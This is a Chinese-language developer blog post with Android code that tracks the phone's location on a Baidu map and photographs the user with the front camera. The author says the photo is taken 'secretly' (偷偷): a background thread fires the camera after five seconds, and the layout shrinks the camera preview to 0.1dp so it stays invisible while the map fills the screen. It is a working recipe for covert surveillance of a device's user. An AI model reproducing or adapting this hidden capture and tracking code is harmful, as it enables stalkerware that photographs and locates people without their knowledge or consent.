今天老板让我验证一下技术可行性,记录下来。
需求 :定位手机的位置并在百度地图上显示,得到位置后使用前置摄像头进行抓拍
拿到这个需求后,对于摄像头的使用不太熟悉,于是我先做了定位手机并在百度地图上显示的功能
访问了百度地图api官网http://lbsyun.baidu.com/找到Android地图以及定位使用部分,官网上有详尽的使用指南,这里只简单总结描述一下,首先复制粘贴jar包和so文件
如图,jar包文件最好与so文件版本一致
1 package com.agile.androiddgs.activity;
2
3 import android.Manifest;
4 import android.annotation.TargetApi;
5 import android.app.Activity;
6 import android.content.pm.PackageManager;
7 import android.graphics.Bitmap;
8 import android.graphics.BitmapFactory;
9 import android.hardware.Camera;
10 import android.media.MediaScannerConnection;
11 import android.net.Uri;
12 import android.os.Build;
13 import android.os.Bundle;
14 import android.os.Handler;
15 import android.util.Log;
16 import android.view.Surface;
17 import android.view.SurfaceHolder;
18 import android.view.SurfaceView;
19 import android.view.Window;
20
21 import com.agile.androiddgs.R;
22 import com.baidu.location.BDLocation;
23 import com.baidu.location.BDLocationListener;
24 import com.baidu.location.LocationClient;
25 import com.baidu.location.LocationClientOption;
26 import com.baidu.mapapi.SDKInitializer;
27 import com.baidu.mapapi.map.BaiduMap;
28 import com.baidu.mapapi.map.BitmapDescriptor;
29 import com.baidu.mapapi.map.MapStatusUpdate;
30 import com.baidu.mapapi.map.MapStatusUpdateFactory;
31 import com.baidu.mapapi.map.MapView;
32 import com.baidu.mapapi.map.MyLocationData;
33 import com.baidu.mapapi.model.LatLng;
34 import com.baidu.mapapi.search.core.SearchResult;
35 import com.baidu.mapapi.search.geocode.GeoCodeResult;
36 import com.baidu.mapapi.search.geocode.GeoCoder;
37 import com.baidu.mapapi.search.geocode.OnGetGeoCoderResultListener;
38 import com.baidu.mapapi.search.geocode.ReverseGeoCodeOption;
39 import com.baidu.mapapi.search.geocode.ReverseGeoCodeResult;
40
41 import java.io.ByteArrayInputStream;
42 import java.io.ByteArrayOutputStream;
43 import java.util.ArrayList;
44 import java.util.List;
45
46 public class PositionActivity extends Activity implements OnGetGeoCoderResultListener{
47 /**********************百度地图定位以及地图功能*********************************/
48 private String permissionInfo;
49 private final int SDK_PERMISSION_REQUEST = 127;
50 private MapView mapView = null;
51 private BaiduMap baiduMap = null;
52
53 // 定位相关声明
54 private LocationClient locationClient = null;
55 //自定义图标
56 private BitmapDescriptor mCurrentMarker = null;
57 private boolean isFirstLoc = true;// 是否首次定位
58
59 GeoCoder mSearch = null; // 搜索模块,也可去掉地图模块独立使用
60
61 private BDLocationListener myListener = new BDLocationListener() {
62 @Override
63 public void onReceiveLocation(BDLocation location) {//定位成功
64 // map view 销毁后不在处理新接收的位置
65 if (location == null || mapView == null)
66 return;
67 try {
68 mSearch.reverseGeoCode(new ReverseGeoCodeOption().location(new LatLng(location.getLatitude(), location.getLongitude())));
69
70 }catch (Exception e){
71 e.printStackTrace();
72 }
73
74 MyLocationData locData = new MyLocationData.Builder()
75 .accuracy(location.getRadius())
76 // 此处设置开发者获取到的方向信息,顺时针0-360
77 .direction(100).latitude(location.getLatitude())
78 .longitude(location.getLongitude()).build();
79 baiduMap.setMyLocationData(locData); //设置定位数据
80
81
82 if (isFirstLoc) {//第一次定位
83 isFirstLoc = false;
84
85
86 LatLng ll = new LatLng(location.getLatitude(),
87 location.getLongitude());
88 MapStatusUpdate u = MapStatusUpdateFactory.newLatLngZoom(ll, 16); //设置地图中心点以及缩放级别
89 // MapStatusUpdate u = MapStatusUpdateFactory.newLatLng(ll);
90 baiduMap.animateMapStatus(u);
91 }
92 }
93 };
94
95 /**********************************摄像头***********************************************/
96 private SurfaceView mySurfaceView;
97 private SurfaceHolder myHolder;
98 private Camera myCamera;
99 int mCurrentCamIndex = 0;
100
101 @Override
102 protected void onCreate(Bundle savedInstanceState) {
103 super.onCreate(savedInstanceState);
104 // after andrioid m,must request Permiision on runtime
105 getPersimmions();
106 requestWindowFeature(Window.FEATURE_NO_TITLE);
107 // 在使用SDK各组件之前初始化context信息,传入ApplicationContext
108 // 注意该方法要再setContentView方法之前实现
109 SDKInitializer.initialize(getApplicationContext());
110 setContentView(R.layout.activity_position);
111
112 // 初始化搜索模块,注册事件监听
113 mSearch = GeoCoder.newInstance();
114
115 mapView = (MapView) this.findViewById(R.id.mapView); // 获取地图控件引用
116 baiduMap = mapView.getMap();
117 //开启定位图层
118 baiduMap.setMyLocationEnabled(true);
119
120 locationClient = new LocationClient(getApplicationContext()); // 实例化LocationClient类
121 locationClient.registerLocationListener(myListener); // 注册监听函数
122 this.setLocationOption(); //设置定位参数
123 locationClient.start(); // 开始定位
124 // baiduMap.setMapType(BaiduMap.MAP_TYPE_NORMAL); // 设置为一般地图
125
126 // baiduMap.setMapType(BaiduMap.MAP_TYPE_SATELLITE); //设置为卫星地图
127 // baiduMap.setTrafficEnabled(true); //开启交通图
128
129 }
130
131 @TargetApi(23)
132 private void getPersimmions() {
133 if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
134 ArrayList<String> permissions = new ArrayList<String>();
135 /***
136 * 定位权限为必须权限,用户如果禁止,则每次进入都会申请
137 */
138 // 定位精确位置
139 if(checkSelfPermission(Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED){
140 permissions.add(Manifest.permission.ACCESS_FINE_LOCATION);
141 }
142 if(checkSelfPermission(Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED){
143 permissions.add(Manifest.permission.ACCESS_COARSE_LOCATION);
144 }
145 /*
146 * 读写权限和电话状态权限非必要权限(建议授予)只会申请一次,用户同意或者禁止,只会弹一次
147 */
148 // 读写权限
149 if (addPermission(permissions, Manifest.permission.WRITE_EXTERNAL_STORAGE)) {
150 permissionInfo += "Manifest.permission.WRITE_EXTERNAL_STORAGE Deny \n";
151 }
152 // 读取电话状态权限
153 if (addPermission(permissions, Manifest.permission.READ_PHONE_STATE)) {
154 permissionInfo += "Manifest.permission.READ_PHONE_STATE Deny \n";
155 }
156
157 if (permissions.size() > 0) {
158 requestPermissions(permissions.toArray(new String[permissions.size()]), SDK_PERMISSION_REQUEST);
159 }
160 }
161 }
162
163 @TargetApi(23)
164 private boolean addPermission(ArrayList<String> permissionsList, String permission) {
165 if (checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED) { // 如果应用没有获得对应权限,则添加到列表中,准备批量申请
166 if (shouldShowRequestPermissionRationale(permission)){
167 return true;
168 }else{
169 permissionsList.add(permission);
170 return false;
171 }
172
173 }else{
174 return true;
175 }
176 }
177
178 @TargetApi(23)
179 @Override
180 public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
181 // TODO Auto-generated method stub
182 super.onRequestPermissionsResult(requestCode, permissions, grantResults);
183
184 }
185
186 // 三个状态实现地图生命周期管理
187 @Override
188 protected void onDestroy() {
189 //退出时销毁定位
190 locationClient.stop();
191 baiduMap.setMyLocationEnabled(false);
192 // TODO Auto-generated method stub
193 super.onDestroy();
194 mapView.onDestroy();
195 mapView = null;
196 }
197
198 @Override
199 protected void onResume() {
200 // TODO Auto-generated method stub
201 super.onResume();
202 mapView.onResume();
203 }
204
205 @Override
206 protected void onPause() {
207 // TODO Auto-generated method stub
208 super.onPause();
209 mapView.onPause();
210 }
211
212
213
214 /**
215 * 设置定位参数
216 */
217 private void setLocationOption() {
218 LocationClientOption option = new LocationClientOption();
219 option.setOpenGps(true); // 打开GPS
220 option.setLocationMode(LocationClientOption.LocationMode.Hight_Accuracy);// 设置定位模式
221 option.setCoorType("bd09ll"); // 返回的定位结果是百度经纬度,默认值gcj02
222 option.setScanSpan(5000); // 设置发起定位请求的间隔时间为5000ms
223 option.setIsNeedAddress(true); // 返回的定位结果包含地址信息
224 option.setNeedDeviceDirect(true); // 返回的定位结果包含手机机头的方向
225
226 locationClient.setLocOption(option);
227 }
228
229
230 @Override
231 public void onGetGeoCodeResult(GeoCodeResult geoCodeResult) {
232
233 }
234 /**
235 根据经纬度反编为具体地址
236 */
237 @Override
238 public void onGetReverseGeoCodeResult(ReverseGeoCodeResult reverseGeoCodeResult) {
239 if (reverseGeoCodeResult == null || reverseGeoCodeResult.error != SearchResult.ERRORNO.NO_ERROR)
240 {
241 return;
242 }
243
244 String address = reverseGeoCodeResult.getAddress();
245 }
246
247
248 }
上面是定位以及百度地图的使用,下面是摄像头的使用,以及图片压缩(本文使用质量压缩)
1 //初始化surfaceview
2 new Thread(new Runnable() {
3 @Override
4 public void run() {
5
6 mySurfaceView = (SurfaceView) findViewById(R.id.camera_surfaceview);
7
8 //初始化surfaceholder
9 myHolder = mySurfaceView.getHolder();
10 myHolder.addCallback(new SurfaceViewCallback());
11 myHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
12
13 }
14 }).start();
在onCreate()方法中另外开启一个线程,用来偷偷的拍照,初始化SurfaceView并为SurfaceView设置callBack方法
1 /***************************************************************************************/
2 private final class SurfaceViewCallback implements android.view.SurfaceHolder.Callback {
3 public void surfaceChanged(SurfaceHolder arg0, int arg1, int arg2, int arg3)
4 {
5
6 try {
7 myCamera.setPreviewDisplay(arg0);
8 myCamera.startPreview();
9 setCameraDisplayOrientation(PositionActivity.this, mCurrentCamIndex, myCamera);
10 new Handler().postDelayed(new Runnable(){
11
12 public void run() {
13 //拍照
14 myCamera.takePicture(shutterCallback, rawPictureCallback,
15 jpegPictureCallback);
16 }
17
18 }, 5000);
19
20 } catch (Exception e) {
21 e.printStackTrace();
22 }
23 }
24 public void surfaceCreated(SurfaceHolder holder) {
25 // mCamera = Camera.open();
26 //change to front camera
27 myCamera = openFrontFacingCameraGingerbread();
28 // get Camera parameters
29 Camera.Parameters params = myCamera.getParameters();
30
31 List<String> focusModes = params.getSupportedFocusModes();
32 if (focusModes.contains(Camera.Parameters.FOCUS_MODE_AUTO)) {
33 // Autofocus mode is supported
34 }
35 }
36
37 public void surfaceDestroyed(SurfaceHolder holder) {
38 myCamera.stopPreview();
39 myCamera.release();
40 myCamera = null;
41 }
42 }
43
44 //根据横竖屏自动调节preview方向,Starting from API level 14, this method can be called when preview is active.
45 private static void setCameraDisplayOrientation(Activity activity,int cameraId, Camera camera)
46 {
47 Camera.CameraInfo info = new Camera.CameraInfo();
48 Camera.getCameraInfo(cameraId, info);
49 int rotation = activity.getWindowManager().getDefaultDisplay().getRotation();
50
51 //degrees the angle that the picture will be rotated clockwise. Valid values are 0, 90, 180, and 270.
52 //The starting position is 0 (landscape).
53 int degrees = 0;
54 switch (rotation)
55 {
56 case Surface.ROTATION_0: degrees = 0; break;
57 case Surface.ROTATION_90: degrees = 90; break;
58 case Surface.ROTATION_180: degrees = 180; break;
59 case Surface.ROTATION_270: degrees = 270; break;
60 }
61 int result;
62 if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT)
63 {
64 result = (info.orientation + degrees) % 360;
65 result = (360 - result) % 360; // compensate the mirror
66 }
67 else
68 {
69 // back-facing
70 result = (info.orientation - degrees + 360) % 360;
71 }
72 camera.setDisplayOrientation(result);
73 }
74
75 public void scanFileToPhotoAlbum(String path) {
76
77 MediaScannerConnection.scanFile(PositionActivity.this,
78 new String[] { path }, null,
79 new MediaScannerConnection.OnScanCompletedListener() {
80
81 public void onScanCompleted(String path, Uri uri) {
82 Log.i("TAG", "Finished scanning " + path);
83 }
84 });
85 }
86
87 private Camera openFrontFacingCameraGingerbread() {
88 int cameraCount = 0;
89 Camera cam = null;
90 Camera.CameraInfo cameraInfo = new Camera.CameraInfo();
91 cameraCount = Camera.getNumberOfCameras();
92
93 for (int camIdx = 0; camIdx < cameraCount; camIdx++) {
94 Camera.getCameraInfo(camIdx, cameraInfo);
95 if (cameraInfo.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {
96 try {
97 cam = Camera.open(camIdx);
98 mCurrentCamIndex = camIdx;
99 } catch (RuntimeException e) {
100 e.printStackTrace();
101 }
102 }
103 }
104
105 return cam;
106 }
107
108 Camera.ShutterCallback shutterCallback = new Camera.ShutterCallback() {
109 @Override
110 public void onShutter() {
111 }
112 };
113
114 Camera.PictureCallback rawPictureCallback = new Camera.PictureCallback() {
115 @Override
116 public void onPictureTaken(byte[] arg0, Camera arg1) {
117
118 }
119 };
120
121 Camera.PictureCallback jpegPictureCallback = new Camera.PictureCallback() {
122 @Override
123 public void onPictureTaken(byte[] arg0, Camera arg1) {
124 ByteArrayOutputStream baos = new ByteArrayOutputStream();
125
126 int options = 100;
127 ByteArrayInputStream isBm = new ByteArrayInputStream(arg0);//把压缩后的数据baos存放到ByteArrayInputStream中
128 Bitmap bitmap = BitmapFactory.decodeStream(isBm, null, null);//把ByteArrayInputStr
129
130 bitmap.compress(Bitmap.CompressFormat.JPEG, 100, baos);//质量压缩方法,这里100表示不压缩,把压缩后的数据存放到baos中
131
132
133 while ( baos.toByteArray().length / 1024>1) { //循环判断如果压缩后图片是否大于100kb,大于继续压缩
134 baos.reset();//重置baos即清空baos
135 bitmap.compress(Bitmap.CompressFormat.JPEG, options, baos);//这里压缩options%,把压缩后的数据存放到baos中
136 options -= 10;//每次都减少10
137 }
138
139 /*String fileName = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM)
140 .toString()
141 + File.separator
142 + "PicTest_" + System.currentTimeMillis() + ".jpg";
143 File file = new File(fileName);
144 if (!file.getParentFile().exists()) {
145 file.getParentFile().mkdir();
146 }
147
148 try {
149 BufferedOutputStream bos = new BufferedOutputStream(
150 new FileOutputStream(file));
151 bos.write(arg0);
152 bos.flush();
153 bos.close();
154 scanFileToPhotoAlbum(file.getAbsolutePath());
155 Toast.makeText(PositionActivity.this, "[Test] Photo take and store in" + file.toString(), Toast.LENGTH_LONG).show();
156 } catch (Exception e) {
157 Toast.makeText(PositionActivity.this, "Picture Failed" + e.toString(),
158 Toast.LENGTH_LONG).show();
159 e.printStackTrace();
160 }*/
161 };
162 };
布局文件如下
1 <?xml version="1.0" encoding="utf-8"?>
2 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
3 android:layout_width="fill_parent"
4 android:layout_height="fill_parent"
5 android:orientation="vertical" >
6 <LinearLayout
7 android:layout_width="fill_parent"
8 android:layout_height="fill_parent"
9 android:orientation="vertical" >
10 <!-- 添加地图控件 -->
11 <com.baidu.mapapi.map.MapView
12 android:id="@+id/mapView"
13 android:layout_width="fill_parent"
14 android:layout_height="fill_parent"
15 android:clickable="true" />
16 </LinearLayout>
17
18 <!-- 预览框,长宽都为0.1 -->
19 <SurfaceView
20 android:id="@+id/camera_surfaceview"
21 android:layout_width="0.1dp"
22 android:layout_height="0.1dp" >
23 </SurfaceView>
24 </LinearLayout>
在布局文件中地图视图占据了整个屏幕,而摄像头预览图不可见,但是存在着,打开之后会开启一个新的线程用来偷偷使用前置摄像头拍照